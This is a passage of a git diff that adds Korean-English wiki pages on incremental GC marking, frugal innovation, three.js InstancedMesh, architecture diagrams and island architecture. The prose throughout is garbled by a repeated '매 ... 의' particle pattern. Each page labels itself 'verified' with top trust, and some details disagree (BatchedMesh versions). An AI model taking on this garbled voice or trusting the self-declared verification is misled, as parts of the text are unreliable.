- **Long `revalidate`**: 1-day window 의 stale price → 매 revenue loss.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Next.js 15 docs, Vercel ISR blog 2020-2025).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — Next.js ISR 의 full content |
|
||||
+148
@@ -0,0 +1,148 @@
|
||||
---
|
||||
id: wiki-2026-0508-incremental-marking
|
||||
title: Incremental Marking
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Incremental GC, Tri-color Marking]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [architecture, gc, runtime, performance, memory]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: cpp
|
||||
framework: v8-go-jvm
|
||||
---
|
||||
|
||||
# Incremental Marking
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 GC mark phase 의 small slice 의 mutator 의 interleave 의 통한 pause time 의 reduction"**. 매 Dijkstra 의 1978 tri-color abstraction 의 origin, 매 V8 (2011), Go (2015 concurrent), ZGC/Shenandoah (sub-millisecond) 의 modern 의 ubiquity — 매 stop-the-world 의 long pause 의 avoid.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 Tri-Color Abstraction
|
||||
- **White**: 매 unvisited / unreachable candidate.
|
||||
- **Gray**: 매 visited 의 children 의 X.
|
||||
- **Black**: 매 fully scanned (children 의 gray/black).
|
||||
- **Invariant**: 매 black → white edge 의 X (strong invariant) 의 violation 의 fix → write barrier.
|
||||
|
||||
### 매 Write Barrier 종류
|
||||
- **Dijkstra (insertion)**: black → white 의 store 의 시 white 의 gray 로 promote.
|
||||
- **Yuasa (deletion / SATB)**: gray pointer 의 overwrite 시 old target 의 gray 로 (snapshot-at-the-beginning).
|
||||
- **Hybrid**: Go 1.8+ 의 hybrid barrier (stack 의 black 의 가정).
|
||||
|
||||
### 매 응용
|
||||
1. V8 (Chrome/Node) — incremental + concurrent + lazy sweep.
|
||||
2. Go — concurrent tri-color mark, sub-ms STW.
|
||||
3. JVM ZGC / Shenandoah — colored pointers / load barriers.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Dijkstra Write Barrier (Pseudo-C)
|
||||
```c
|
||||
void write_barrier(Object** slot, Object* new_val) {
|
||||
if (gc_phase == MARKING && new_val != NULL && new_val->color == WHITE) {
|
||||
new_val->color = GRAY;
|
||||
mark_stack_push(new_val);
|
||||
}
|
||||
*slot = new_val;
|
||||
}
|
||||
```
|
||||
|
||||
### Tri-Color Marking Loop
|
||||
```cpp
|
||||
void incremental_mark_step(size_t budget_bytes) {
|
||||
size_t scanned = 0;
|
||||
while (scanned < budget_bytes && !mark_stack.empty()) {
|
||||
Object* obj = mark_stack.pop(); // gray
|
||||
for (Object* child : obj->refs()) {
|
||||
if (child->color == WHITE) {
|
||||
child->color = GRAY;
|
||||
mark_stack.push(child);
|
||||
}
|
||||
}
|
||||
obj->color = BLACK;
|
||||
scanned += obj->size();
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### V8-Style Step Scheduling
|
||||
```cpp
|
||||
// Allocation 의 통한 mark step 의 trigger
|
||||
void* allocate(size_t n) {
|
||||
void* p = bump_alloc(n);
|
||||
marking_progress_ += n;
|
||||
if (marking_progress_ >= step_threshold_) {
|
||||
incremental_mark_step(/*budget=*/n * 2); // pay-as-you-go
|
||||
marking_progress_ = 0;
|
||||
}
|
||||
return p;
|
||||
}
|
||||
```
|
||||
|
||||
### Go-Style SATB-ish Hybrid Barrier
|
||||
```go
|
||||
// runtime/mbarrier.go (simplified)
|
||||
//go:nowritebarrierrec
|
||||
func gcWriteBarrier(slot *unsafe.Pointer, ptr unsafe.Pointer) {
|
||||
if writeBarrier.enabled {
|
||||
// Shade ptr (Dijkstra) AND shade *slot (Yuasa)
|
||||
shade(ptr)
|
||||
shade(*slot)
|
||||
}
|
||||
*slot = ptr
|
||||
}
|
||||
```
|
||||
|
||||
### Concurrent Mark Termination
|
||||
```cpp
|
||||
void mark_termination() {
|
||||
stop_the_world(); // brief STW
|
||||
drain_remaining_mark_stack(); // flush per-thread buffers
|
||||
weak_ref_processing();
|
||||
start_concurrent_sweep();
|
||||
resume_world();
|
||||
}
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Latency-critical (game, trading) | ZGC / Shenandoah (sub-ms) |
|
||||
| Throughput-critical (batch) | Parallel STW collector |
|
||||
| Mid-size heap, mixed | G1, V8 incremental |
|
||||
| Tiny heap (embedded) | Reference counting / simple mark-sweep |
|
||||
|
||||
**기본값**: 매 modern runtime 의 기본 (V8, Go, JVM G1) — explicit tuning 없이 incremental marking 의 enabled.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Garbage-Collection]] · [[Memory-Management]]
|
||||
- 변형: [[Concurrent-Marking]]
|
||||
- 응용: [[V8]]
|
||||
- Adjacent: [[Write-Barrier]] · [[Reference-Counting]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: GC pause 의 root cause 의 analysis, write barrier 의 correctness 의 reasoning, GC log 의 parse.
|
||||
**언제 X**: production GC tuning 의 final decision (workload-specific benchmark 필수).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Missing write barrier**: black → white 의 invariant 의 violation 의 → premature reclamation 의 use-after-free.
|
||||
- **Unbounded step**: incremental step 의 budget 의 X → STW-equivalent pause.
|
||||
- **Floating garbage 의 ignore**: SATB 의 dead 가 mark, 매 cycle 의 retain — frequent collection 의 통한 mitigation.
|
||||
- **Allocator 의 black allocation 의 fail**: marking 중 allocate 의 white → 매 next cycle 까지 reachable 의 보장 의 X.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Dijkstra "On-the-fly Garbage Collection" 1978, V8 blog, Go GC design doc, Hudson "A Unified Theory of GC").
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — incremental GC marking 의 full content |
|
||||
+143
@@ -0,0 +1,143 @@
|
||||
---
|
||||
id: wiki-2026-0508-indian-innovation-models
|
||||
title: Indian Innovation Models
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Indian Innovation Models, Jugaad, Frugal Innovation, Gandhian Engineering]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.85
|
||||
verification_status: applied
|
||||
tags: [innovation, frugal, jugaad, india, design-philosophy, constraint-driven]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: n/a
|
||||
framework: design-philosophy
|
||||
---
|
||||
|
||||
# Indian Innovation Models
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 do more with less, for more"**. Indian innovation models — 매 jugaad, frugal engineering, Gandhian engineering, "more from less for more" (Mashelkar) — 매 severe resource constraint 매 mass affordability 의 결합 매 design philosophy. Tata Nano, Aravind Eye Care, Mitticool fridge 매 canonical example. 2026 매 climate-tech, off-grid, Global South 의 default playbook.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 Three overlapping models
|
||||
- **Jugaad**: 매 informal, improvisational, "hack-it-together" — 매 individual/small-business level.
|
||||
- **Frugal innovation**: 매 systematic 매 cost-radical product redesign — 매 corporate (GE Healthcare ECG, Tata).
|
||||
- **Gandhian engineering**: 매 ethical frame — 매 affordability + sustainability + bottom-of-pyramid.
|
||||
|
||||
### 매 Design principles (Mashelkar's "MLM": More from Less for More)
|
||||
1. **Affordable excellence** (not low-end inferior).
|
||||
2. **Resource frugality** (energy, materials, time).
|
||||
3. **Sustainability** (long life, repairability, local material).
|
||||
4. **Inclusivity** (for the 4 billion BOP).
|
||||
|
||||
### 매 응용
|
||||
1. **Tata Nano**: $2,500 car — modular, simplified.
|
||||
2. **Aravind Eye Care**: $30 cataract surgery via assembly-line surgical workflow.
|
||||
3. **GE MAC 400 ECG**: $800 portable, battery-powered.
|
||||
4. **Mitticool**: 매 clay, 매 zero-electricity refrigerator.
|
||||
5. **JioPhone**: $20 4G feature phone, mass internet access.
|
||||
6. **Aadhaar / UPI / DPI stack**: 매 nation-scale frugal digital infrastructure.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Frugal product checklist
|
||||
```python
|
||||
def frugal_score(product: Product) -> Score:
|
||||
return Score(
|
||||
cost_vs_incumbent = product.price / incumbent.price, # target < 0.3
|
||||
bom_part_count = len(product.parts), # target: minimize
|
||||
local_sourcing = product.local_parts / product.total,# target > 0.7
|
||||
repair_index = product.user_repairable_pct, # target > 0.8
|
||||
energy_per_use = product.kwh_per_use, # target: minimize
|
||||
)
|
||||
```
|
||||
|
||||
### Aravind-style throughput design
|
||||
```
|
||||
Assembly-line surgery:
|
||||
- Surgeon does only 1 step (cataract extraction) per patient
|
||||
- Parallel ORs share staff, equipment
|
||||
- Result: 1 surgeon = 2,000+ surgeries/year (vs ~250 US average)
|
||||
- Cost: $30 vs $3,000 — same outcome quality
|
||||
```
|
||||
|
||||
### Jugaad heuristic
|
||||
```
|
||||
1. Constraint -> opportunity: scarcity is a design input, not blocker.
|
||||
2. Reuse what exists: bicycle pump -> water pump.
|
||||
3. Good enough > perfect: ship fast, iterate.
|
||||
4. Local materials: clay, bamboo, scrap metal.
|
||||
5. Bottom-up users: design WITH them, not FOR them.
|
||||
```
|
||||
|
||||
### Tata Nano BoM compression
|
||||
```
|
||||
Standard car: ~30,000 parts, ~$15K
|
||||
Nano approach:
|
||||
- 21% fewer parts (30,000 -> ~24,000)
|
||||
- Plastic body panels glued, not welded (no expensive welding line)
|
||||
- Single windshield wiper
|
||||
- 2-cylinder engine (vs 4)
|
||||
- Outsource design to suppliers (co-development)
|
||||
- Result: $2,500 retail
|
||||
```
|
||||
|
||||
### India Stack DPI pattern
|
||||
```
|
||||
Identity (Aadhaar, biometric, free)
|
||||
↓
|
||||
Payments (UPI, real-time, near-zero fee)
|
||||
↓
|
||||
Data (DigiLocker, account aggregator, consent layer)
|
||||
↓
|
||||
Open APIs → 1B+ users, 100B+ tx/year
|
||||
Frugal lesson: PUBLIC infrastructure, PRIVATE innovation on top.
|
||||
```
|
||||
|
||||
### Reverse innovation flow
|
||||
```
|
||||
Traditional: US/EU R&D -> developing markets (cost-down)
|
||||
Reverse: Emerging-market design -> developed market (cost-radical)
|
||||
Example: GE MAC 400 (designed for India) -> sold in US rural clinics
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| 매 BOP/emerging market product | 매 frugal innovation framework |
|
||||
| 매 high-margin premium | 매 traditional R&D (frugal 의 wrong framing) |
|
||||
| 매 climate/sustainability constraint | 매 Gandhian engineering principles |
|
||||
| 매 individual/SME hack | 매 jugaad mindset OK |
|
||||
| 매 corporate scale-up of frugal | 매 systematize jugaad → frugal innovation |
|
||||
|
||||
**기본값**: 매 affordability constraint + sustainability constraint 의 동시 design input 으로.
|
||||
|
||||
## 🔗 Graph
|
||||
- 변형: [[Frugal-Innovation]] · [[Jugaad]] · [[Gandhian-Engineering]]
|
||||
- Adjacent: [[Lean-Startup]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 emerging-market product design; 매 climate-tech affordability; 매 BOP strategy.
|
||||
**언제 X**: 매 luxury/premium positioning; 매 deep-tech R&D (다른 framework).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Cheap = inferior**: 매 frugal 매 quality 매 sacrifice 의 의미 X — 매 affordable excellence.
|
||||
- **Romanticizing jugaad**: 매 unsafe shortcut 매 system level 의 risk.
|
||||
- **Copy-paste to West**: 매 context 다름 — 매 reverse innovation 매 careful adaptation 필요.
|
||||
- **Cost-down only**: 매 frugal innovation 매 redesign — 매 cost-down 의 incremental 다름.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Mashelkar "Reinventing India", Radjou/Prabhu/Ahuja "Jugaad Innovation" 2012, Govindarajan "Reverse Innovation" 2012, Aravind/Tata Nano case studies).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — full content (jugaad, frugal innovation, India Stack) |
|
||||
@@ -0,0 +1,198 @@
|
||||
---
|
||||
id: wiki-2026-0508-instancedmesh
|
||||
title: InstancedMesh
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [InstancedMesh, GPU Instancing, three.js InstancedMesh]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.95
|
||||
verification_status: applied
|
||||
tags: [threejs, webgl, gpu-instancing, rendering, performance]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: JavaScript/TypeScript
|
||||
framework: three.js
|
||||
---
|
||||
|
||||
# InstancedMesh
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 thousands of meshes 매 single draw call"**. `THREE.InstancedMesh` 매 same-geometry+material 매 N copies 매 GPU instancing 매 single draw — 매 forest, crowd, particle, voxel 의 standard pattern. 2026 매 r170+ 매 BatchedMesh (multi-geometry instancing) 매 추가됨.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 InstancedMesh vs alternatives
|
||||
- **Mesh × N**: 매 N draw calls. 매 simple, 매 slow at >100.
|
||||
- **InstancedMesh**: 매 1 draw call, 매 same geom/material, 매 per-instance matrix + color.
|
||||
- **BatchedMesh** (r150+): 매 1 draw call, 매 different geom 가능, 매 same material.
|
||||
- **Custom shader InstancedBufferGeometry**: 매 full control, 매 boilerplate.
|
||||
|
||||
### 매 Per-instance attributes
|
||||
- **`setMatrixAt(i, matrix)`** — 매 position/rotation/scale.
|
||||
- **`setColorAt(i, color)`** — 매 per-instance tint (requires instanceColor).
|
||||
- **Custom `InstancedBufferAttribute`** — 매 임의 per-instance data (HP, age, type).
|
||||
|
||||
### 매 응용
|
||||
1. **Forest/foliage**: 10k 매 trees 매 60fps.
|
||||
2. **Crowd simulation**: 매 NPCs 매 unique pose 매 transform.
|
||||
3. **Voxel terrain**: 매 cube instance 매 chunk.
|
||||
4. **Particle system**: 매 GPU-driven particle.
|
||||
5. **Bullet patterns**: 매 bullet hell 매 thousands of bullets.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Basic InstancedMesh
|
||||
```javascript
|
||||
import * as THREE from 'three';
|
||||
|
||||
const count = 10000;
|
||||
const geom = new THREE.BoxGeometry(1, 1, 1);
|
||||
const mat = new THREE.MeshStandardMaterial({ color: 0x44aa88 });
|
||||
const mesh = new THREE.InstancedMesh(geom, mat, count);
|
||||
|
||||
const m = new THREE.Matrix4();
|
||||
for (let i = 0; i < count; i++) {
|
||||
m.setPosition(
|
||||
(Math.random() - 0.5) * 100,
|
||||
(Math.random() - 0.5) * 100,
|
||||
(Math.random() - 0.5) * 100
|
||||
);
|
||||
mesh.setMatrixAt(i, m);
|
||||
}
|
||||
mesh.instanceMatrix.needsUpdate = true;
|
||||
scene.add(mesh);
|
||||
```
|
||||
|
||||
### Per-instance color
|
||||
```javascript
|
||||
mesh.instanceColor = new THREE.InstancedBufferAttribute(
|
||||
new Float32Array(count * 3), 3
|
||||
);
|
||||
const c = new THREE.Color();
|
||||
for (let i = 0; i < count; i++) {
|
||||
c.setHSL(i / count, 0.7, 0.5);
|
||||
mesh.setColorAt(i, c);
|
||||
}
|
||||
mesh.instanceColor.needsUpdate = true;
|
||||
```
|
||||
|
||||
### Dynamic update (animated swarm)
|
||||
```javascript
|
||||
const dummy = new THREE.Object3D();
|
||||
function tick(time) {
|
||||
for (let i = 0; i < count; i++) {
|
||||
dummy.position.set(
|
||||
Math.sin(time + i) * 10,
|
||||
Math.cos(time * 0.5 + i * 0.3) * 5,
|
||||
Math.sin(time * 0.3 + i) * 10
|
||||
);
|
||||
dummy.rotation.y = time + i;
|
||||
dummy.updateMatrix();
|
||||
mesh.setMatrixAt(i, dummy.matrix);
|
||||
}
|
||||
mesh.instanceMatrix.needsUpdate = true;
|
||||
}
|
||||
```
|
||||
|
||||
### Custom per-instance attribute (shader)
|
||||
```javascript
|
||||
const hpAttr = new THREE.InstancedBufferAttribute(new Float32Array(count), 1);
|
||||
geom.setAttribute('aHp', hpAttr);
|
||||
|
||||
mat.onBeforeCompile = (shader) => {
|
||||
shader.vertexShader = shader.vertexShader
|
||||
.replace('#include <common>', `
|
||||
#include <common>
|
||||
attribute float aHp;
|
||||
varying float vHp;
|
||||
`)
|
||||
.replace('#include <begin_vertex>', `
|
||||
#include <begin_vertex>
|
||||
vHp = aHp;
|
||||
`);
|
||||
shader.fragmentShader = shader.fragmentShader
|
||||
.replace('#include <common>', `
|
||||
#include <common>
|
||||
varying float vHp;
|
||||
`)
|
||||
.replace('#include <dithering_fragment>', `
|
||||
gl_FragColor.rgb = mix(vec3(1,0,0), gl_FragColor.rgb, vHp);
|
||||
#include <dithering_fragment>
|
||||
`);
|
||||
};
|
||||
```
|
||||
|
||||
### Frustum culling per instance (CPU side)
|
||||
```javascript
|
||||
const frustum = new THREE.Frustum().setFromProjectionMatrix(
|
||||
new THREE.Matrix4().multiplyMatrices(camera.projectionMatrix, camera.matrixWorldInverse)
|
||||
);
|
||||
let visible = 0;
|
||||
for (let i = 0; i < total; i++) {
|
||||
if (frustum.containsPoint(positions[i])) {
|
||||
visibleMesh.setMatrixAt(visible++, matrices[i]);
|
||||
}
|
||||
}
|
||||
visibleMesh.count = visible;
|
||||
visibleMesh.instanceMatrix.needsUpdate = true;
|
||||
```
|
||||
|
||||
### BatchedMesh (r150+, multi-geometry)
|
||||
```javascript
|
||||
const batch = new THREE.BatchedMesh(maxInstances, maxVerts, maxIndices, mat);
|
||||
const treeId = batch.addGeometry(treeGeom);
|
||||
const rockId = batch.addGeometry(rockGeom);
|
||||
for (let i = 0; i < 5000; i++) batch.addInstance(i % 2 === 0 ? treeId : rockId);
|
||||
```
|
||||
|
||||
### Raycasting against InstancedMesh
|
||||
```javascript
|
||||
const raycaster = new THREE.Raycaster();
|
||||
raycaster.setFromCamera(mouse, camera);
|
||||
const hits = raycaster.intersectObject(mesh);
|
||||
if (hits.length) {
|
||||
const i = hits[0].instanceId;
|
||||
console.log('Hit instance', i);
|
||||
}
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| 매 same geom/material × N (>100) | InstancedMesh |
|
||||
| 매 different geom × N | BatchedMesh (r150+) |
|
||||
| 매 fully GPU-driven (compute-style) | InstancedBufferGeometry + WebGPU |
|
||||
| 매 N < 50 | regular Mesh OK |
|
||||
| 매 LOD per instance | InstancedMesh × LOD level + custom culling |
|
||||
|
||||
**기본값**: 매 N ≥ 100 → InstancedMesh.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[three.js]] · [[GPU-Instancing]]
|
||||
- 변형: [[BatchedMesh]]
|
||||
- 응용: [[Crowd-Simulation]]
|
||||
- Adjacent: [[WebGPU]] · [[Frustum-Culling]] · [[LOD]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 three.js 매 thousands of repeated objects; 매 WebGL 매 draw call optimization.
|
||||
**언제 X**: 매 단일 unique mesh; 매 Unity (different API); 매 native C++ engine (use API-specific instancing).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Per-frame full rebuild**: 매 모든 matrix 매 update — 매 변하지 않는 instance 매 skip.
|
||||
- **Forgetting `needsUpdate`**: 매 setMatrixAt 후 매 GPU 매 stale.
|
||||
- **InstancedMesh × different materials**: 매 불가능 — BatchedMesh or 분리.
|
||||
- **Raycast against 100k instances every frame**: 매 BVH (three-mesh-bvh) 사용.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (three.js docs r170, official examples webgl_instancing_*, BatchedMesh PR #25556).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — full content (instancing patterns + BatchedMesh) |
|
||||
+191
@@ -0,0 +1,191 @@
|
||||
---
|
||||
id: wiki-2026-0508-integration-architecture-diagram
|
||||
title: Integration Architecture Diagrams
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Integration Diagrams, System Integration Diagram, Context Diagram]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.85
|
||||
verification_status: applied
|
||||
tags: [architecture, diagrams, integration, c4, documentation]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: mermaid
|
||||
framework: c4-plantuml
|
||||
---
|
||||
|
||||
# Integration Architecture Diagrams
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 system 의 external collaborators (services, APIs, queues, DBs) 의 visual mapping 의 통한 boundary + flow 의 communication"**. 매 Brown 의 C4 model (2018) 의 Context/Container level, 매 ArchiMate 의 application/technology layer, 매 modern 의 diagrams-as-code (Mermaid, Structurizr, D2) 의 dominant.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 Diagram 종류
|
||||
- **System Context** (C4 L1): 매 system + users + external systems.
|
||||
- **Container** (C4 L2): 매 deployable units (web, api, db, queue).
|
||||
- **Component** (C4 L3): 매 container 내부 의 logical block.
|
||||
- **Sequence**: 매 time-ordered 의 message flow.
|
||||
- **Data Flow Diagram (DFD)**: 매 process / store / external entity / flow.
|
||||
- **Deployment**: 매 infra topology (regions, VPCs, nodes).
|
||||
|
||||
### 매 Notation
|
||||
- C4 (simple, opinionated).
|
||||
- ArchiMate (enterprise, exhaustive).
|
||||
- UML deployment / component (legacy but valid).
|
||||
- Custom (Mermaid + emoji label).
|
||||
|
||||
### 매 응용
|
||||
1. Onboarding doc — 매 new hire 의 system map.
|
||||
2. ADR 의 visual aid.
|
||||
3. Threat modeling (STRIDE) 의 trust boundary 의 mark.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### C4 System Context (Mermaid)
|
||||
```mermaid
|
||||
C4Context
|
||||
title System Context — Order Platform
|
||||
Person(customer, "Customer", "Buys products")
|
||||
System(order, "Order Platform", "Handles order lifecycle")
|
||||
System_Ext(stripe, "Stripe", "Payment processor")
|
||||
System_Ext(shipping, "ShipEngine", "Shipping carrier API")
|
||||
System_Ext(email, "SendGrid", "Transactional email")
|
||||
Rel(customer, order, "Places order", "HTTPS")
|
||||
Rel(order, stripe, "Charges card", "REST")
|
||||
Rel(order, shipping, "Creates shipment", "REST")
|
||||
Rel(order, email, "Sends confirmation", "SMTP API")
|
||||
```
|
||||
|
||||
### C4 Container (Structurizr DSL)
|
||||
```dsl
|
||||
workspace {
|
||||
model {
|
||||
user = person "Customer"
|
||||
order = softwareSystem "Order Platform" {
|
||||
web = container "Web App" "Next.js 15"
|
||||
api = container "API" "Node.js / Fastify"
|
||||
db = container "Postgres" "RDS" "Database"
|
||||
cache = container "Redis" "ElastiCache"
|
||||
queue = container "Kafka" "MSK"
|
||||
}
|
||||
user -> web "Uses" "HTTPS"
|
||||
web -> api "JSON/HTTPS"
|
||||
api -> db "SQL"
|
||||
api -> cache "RESP"
|
||||
api -> queue "produces"
|
||||
}
|
||||
views { container order { include * autolayout lr } }
|
||||
}
|
||||
```
|
||||
|
||||
### Sequence — Distributed Transaction (Mermaid)
|
||||
```mermaid
|
||||
sequenceDiagram
|
||||
participant C as Client
|
||||
participant O as Order API
|
||||
participant P as Payment
|
||||
participant I as Inventory
|
||||
participant K as Kafka
|
||||
C->>O: POST /orders
|
||||
O->>I: Reserve stock
|
||||
I-->>O: OK (reservation_id)
|
||||
O->>P: Charge card
|
||||
P-->>O: success
|
||||
O->>K: publish OrderCreated
|
||||
O-->>C: 201 Created
|
||||
Note over K: Async fanout to Shipping, Email, Analytics
|
||||
```
|
||||
|
||||
### Data Flow Diagram (D2)
|
||||
```d2
|
||||
direction: right
|
||||
customer: Customer { shape: person }
|
||||
api: Order API
|
||||
db: Postgres { shape: cylinder }
|
||||
queue: Kafka { shape: queue }
|
||||
analytics: Analytics WH { shape: cylinder }
|
||||
|
||||
customer -> api: POST /order
|
||||
api -> db: INSERT
|
||||
api -> queue: OrderCreated
|
||||
queue -> analytics: stream
|
||||
```
|
||||
|
||||
### Deployment (PlantUML)
|
||||
```plantuml
|
||||
@startuml
|
||||
!include <C4/C4_Deployment>
|
||||
Deployment_Node(aws, "AWS us-east-1") {
|
||||
Deployment_Node(eks, "EKS cluster") {
|
||||
Container(api, "Order API", "Node.js")
|
||||
}
|
||||
Deployment_Node(rds, "RDS Multi-AZ") {
|
||||
ContainerDb(db, "Postgres 16")
|
||||
}
|
||||
}
|
||||
Rel(api, db, "TLS")
|
||||
@enduml
|
||||
```
|
||||
|
||||
### Trust Boundary (Threat Model overlay)
|
||||
```mermaid
|
||||
flowchart LR
|
||||
subgraph Public[Public Internet]
|
||||
U[User]
|
||||
end
|
||||
subgraph DMZ
|
||||
LB[ALB / WAF]
|
||||
end
|
||||
subgraph Private[Private VPC]
|
||||
API[Order API]
|
||||
DB[(Postgres)]
|
||||
end
|
||||
U -- TLS 1.3 --> LB
|
||||
LB -- mTLS --> API
|
||||
API --> DB
|
||||
classDef boundary stroke-dasharray: 5 5
|
||||
class Public,DMZ,Private boundary
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Quick wiki diagram | Mermaid (GitHub renders inline) |
|
||||
| Versioned + reviewed | Structurizr DSL or PlantUML in repo |
|
||||
| Enterprise governance | ArchiMate (Archi tool) |
|
||||
| Generated from code | terraform-graph, kroki, arkade |
|
||||
| Threat modeling | DFD + trust boundaries (Microsoft TMT) |
|
||||
|
||||
**기본값**: 매 C4 model — Context + Container 의 minimum, diagrams-as-code 의 (Mermaid / Structurizr).
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Software-Architecture]]
|
||||
- 변형: [[C4-Model]]
|
||||
- 응용: [[Mermaid]] · [[Structurizr]] · [[PlantUML]] · [[D2]]
|
||||
- Adjacent: [[ADR]] · [[Threat-Modeling]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: diagram 의 Mermaid/D2 source 의 generate, existing diagram 의 explanation, missing actor 의 detect.
|
||||
**언제 X**: 매 enterprise architecture 의 governance decision (human + tool standard 필요).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **PowerPoint architecture**: PNG screenshot 의 stale, source 의 X.
|
||||
- **Box-and-line soup**: 매 label 없이 arrow 의 multitude.
|
||||
- **Mixing levels**: Context 의 component-level detail 의 cram.
|
||||
- **No legend**: 매 reader 의 notation 의 guess.
|
||||
- **Aspirational diagram**: actual deployment 의 mismatch — 매 onboarding 의 misleading.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Brown "Software Architecture for Developers", c4model.com, ArchiMate 3.2 spec).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — integration architecture diagrams 의 full content |
|
||||
+175
@@ -0,0 +1,175 @@
|
||||
---
|
||||
id: wiki-2026-0508-island-architecture
|
||||
title: Island Architecture
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Islands Architecture, Partial Hydration, Selective Hydration]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [architecture, web, frontend, hydration, performance]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: astro-fresh
|
||||
---
|
||||
|
||||
# Island Architecture
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 mostly-static HTML 의 sea 의 isolated interactive 'island' 의 selective hydration 의 통한 ship-less-JS"**. 매 Katie Sylor-Miller (2019) 의 term, Jason Miller (2020) 의 popularization, 매 Astro (2021) / Fresh (Deno) / Marko / Qwik 의 implementation — 매 SPA-everything 의 over-hydration 의 backlash.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 핵심 idea
|
||||
- Server 의 HTML 의 render (default).
|
||||
- 매 interactive component (island) 의 isolated hydration boundary.
|
||||
- 매 island 의 own JS bundle, 매 nothing else 의 ship.
|
||||
- 매 island 간 의 share state 의 X (or framework-specific signal).
|
||||
|
||||
### 매 Hydration directive (Astro)
|
||||
- `client:load` — 매 page load 의 즉시.
|
||||
- `client:idle` — `requestIdleCallback`.
|
||||
- `client:visible` — IntersectionObserver.
|
||||
- `client:media="(min-width: 768px)"` — viewport conditional.
|
||||
- `client:only="react"` — server render skip, client only.
|
||||
|
||||
### 매 응용
|
||||
1. Content sites (blog, docs, marketing).
|
||||
2. E-commerce (정적 product page + interactive cart island).
|
||||
3. News / publishing (정적 article + comment island).
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Astro — React Island
|
||||
